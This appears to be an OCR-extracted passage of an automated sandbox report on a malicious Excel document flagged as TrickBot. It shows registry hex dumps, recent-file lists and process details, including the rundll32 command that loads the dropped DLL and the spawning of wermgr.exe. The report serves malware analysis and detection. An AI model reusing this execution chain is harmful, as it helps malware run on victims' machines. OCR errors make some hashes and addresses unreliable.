Copyright null 2021

Name

EBEEC

Type

binary

Data

04 00 00 00 7C 07 00 00 47 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 53 00 65 00 63 00 75
00 72 00 69 00 74 00 65 00 49 00 6E 00
66 00 6F 00 2E 00 63 00 6F 00 6D 00 2E
00 45 00 78 00 70 00 6C 00 6F 00 69 00
74 00 2E 00 53 00 69 00 67 00 67 00 65
00 6E 00 33 00 2E 00 31 00 30 00 33 00
3500 30 00 2E 00 31 00 33 00 31 00 32
00 37 00 2E 00 78 00 6C 00 73 00 00 00
00 00 17 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 44 00 65
00 73 00 6B 00 74 00 6F 00 70 00 5C 00
01 00 00 00 01 00 00 00 B3 4E D9 D8 79
07 D7 01 EC BE OE 00 EC BE OE 00 00
00 00 00 B8 02 00 00 6E 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00

Completion

Source

Count Address Symbol

1

7FEEA9E9ACO unknown
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Key Path
HKEY_CURRENT_USER\Software\Mic

rosoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\F2FC7

Copyright null 2021

Name

#XT

F2FC7

Type

binary

binary

Data

2378 37 00 7C 07 00 00 02 00 00 00 00
00 00 00 C8 00 00 00 01 00 00 00 62 00
00 00 5A 00 00 00 73 00 65 00 63 00 75
00 72 00 69 00 74 00 65 00 69 00 6E 00
66 00 6F 00 2E 00 63 00 6F 00 6D 00 2E
00 65 00 78 00 70 00 6C 00 6F 00 69 00
74 00 2E 00 73 00 69 00 67 00 67 00 65
00 6E 00 33 00 2E 00 31 00 30 00 33 00
3500 30 00 2E 00 31 00 33 00 31 00 32
00 37 00 2E 00 78 00 6C 00 73 00 00 00
73 00 65 00 63 00 75 00 72 00 69 00 74
00 65 00 69 00 6E 00 66 00 6F 00 2E 00
63 00 6F 00 6D 00 2E 00 65 00 78 00 70
00 6C 00 6F 00 69 00 74 00 2E 00 73 00
69 00 67 00 67 00 65 00 6E 00 33 00 2E
00 31 00 30 00 33 00 35 00 30 00 2E 00
31 00 33 00 31 00 32 00 37 00 00 00O

04 00 00 00 7C 07 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 69 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 AB 32
F5 E9 79 07 D7 01 C7 2F OF 00 C7 2F
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7TFEEA9E9ACO unknown

7FEEA9E9ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Max Display

Max Display

Iltem 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Item 17

Item 18

Item 19

Item 20

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3209467860.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1796052464.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8878498721 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[F00000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEA9ESACO

7TFEEA9ESACO

TFEEA9ESACO

7FEEA9E9ACO

7FEEA9ESACO

TFEEA9ESACO

7TFEEA9E9SACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

TFEEA9ESACO

7TFEEA9ESACO

7FEEA9E9ACO

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path Name Type

HKEY_CURRENT_USER\Software\Mic F342A binary
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\F342A

Data

04 00 00 00 7C 07 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 AB 32
F5 E9 79 07 D7 01 2A 34 OF 00 2A 34 OF
00 00 00 00 00 B8 02 00 00 56 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

success or wait

Source

Count Address Symbol

1

7TFEEA9E9ACO unknown

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2828 Parent PID: 1916
General
Start time: 03:16:36
Start date: 20/02/2021
Path: C:\Windows\System32\rundll32.exe
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Wow64 process (32bit): false

Commandline: rundll32 .\BASE.BABAA,DIIRegisterServer
Imagebase: 0xff7d0000

File size: 45568 bytes

MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\BASE.BABAA unknown 64 success or wait 1 FF7D27D0 ReadFile
C:\Users\user\BASE.BABAA unknown 264 success or wait 1 FF7D281C ReadFile
Analysis Process: rundll32.exe PID: 1980 Parent PID: 2828
General
Start time: 03:16:36
Start date: 20/02/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: rundll32 .\BASE.BABAA,DIIRegisterServer
Imagebase: 0x3c0000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source:
00000004.00000002.2081720951.00000000005D8000.00000004.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source:
00000004.00000003.2077502883.0000000000764000.00000004.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source:
00000004.00000002.2081503635.0000000000130000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source:
00000004.00000003.2077497175.0000000000764000.00000004.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source:
00000004.00000002.2081774299.0000000000730000.00000004.00000020.sdmp,
Author: Joe Security
Reputation: moderate

Analysis Process: wermgr.exe PID: 2884 Parent PID: 1980

General

Start time: 03:16:37

Start date: 20/02/2021

Path: C:\Windows\System32\wermgr.exe
Wow64 process (32bit): false

Commandline: C:\Windows\system32\wermgr.exe
Imagebase: 0xffe10000

File size: 50688 bytes

MDS5 hash: 41DF7355A5A907E2C1D7804EC028965D
Has elevated privileges: true
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Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: wermgr.exe PID: 2892 Parent PID: 1980

General

Start time: 03:16:37

Start date: 20/02/2021

Path: C:\Windows\System32\wermgr.exe
Wow64 process (32bit): false

Commandline: C:\Windows\system32\wermgr.exe
Imagebase: 0xffe10000

File size: 50688 bytes

MDS5 hash: 41DF7355A5A907E2C1D7804EC028965D
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Reputation: moderate

File Activities

File Path Access Attributes

File Path

File Path Offset Length Value Ascii
File Read

File Path Offset

C:\Windows\msdfmap.ini unknown

C:\Windows\system.ini unknown

C:\Windows\win.ini unknown

Registry Activities

Key Path Name Type Data
Key Path Name Type Old Data New Data
Disassembly

Code Analysis

Copyright null 2021

Options

Length
1405
219
478

Completion

Completion

Completion

Completion
success or wait
success or wait

success or wait

Completion

Completion

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

1 84547  ReadFile

1 84547  ReadFile

1 84547  ReadFile
Source

Count Address Symbol

Source
Count Address Symbol
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